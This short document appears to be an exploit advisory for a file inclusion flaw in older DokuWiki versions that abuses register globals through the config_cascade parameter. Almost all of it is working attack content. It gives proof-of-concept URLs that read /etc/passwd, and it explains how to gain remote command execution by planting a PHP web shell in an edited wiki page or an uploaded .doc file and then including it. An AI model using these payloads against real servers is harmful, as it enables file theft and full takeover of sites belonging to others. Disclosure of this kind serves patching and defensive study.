# File preload.php doesn't exists. (so seems for the affected versions)
|
|
# So we can set $config_cascade arrays via register globals
|
|
# It's not a RFI couse use of file_exists function.

|
|
# First of all you can check the dokuwiki's version here:
|
|
# /[host]/[path]/VERSION
|
|
# and check if it's a vulnerable version
|
|
|
|
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
|
|
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README
|
|
|
|
# Note:
|
|
# You can obtain a remote command execution if you can edit the content of a page
|
|
# Just insert your php code into it like: <?php system($_GET[cmd]); ?>
|
|
# And include it:
|
|
|
|
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
|
|
|
|
# Or you can check if you have permissions to upload file via:
|
|
# [host]/[path]/lib/exe/mediamanager.php
|
|
|
|
# If so, upload your file with .doc extension then include it:
|
|
|
|
# PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
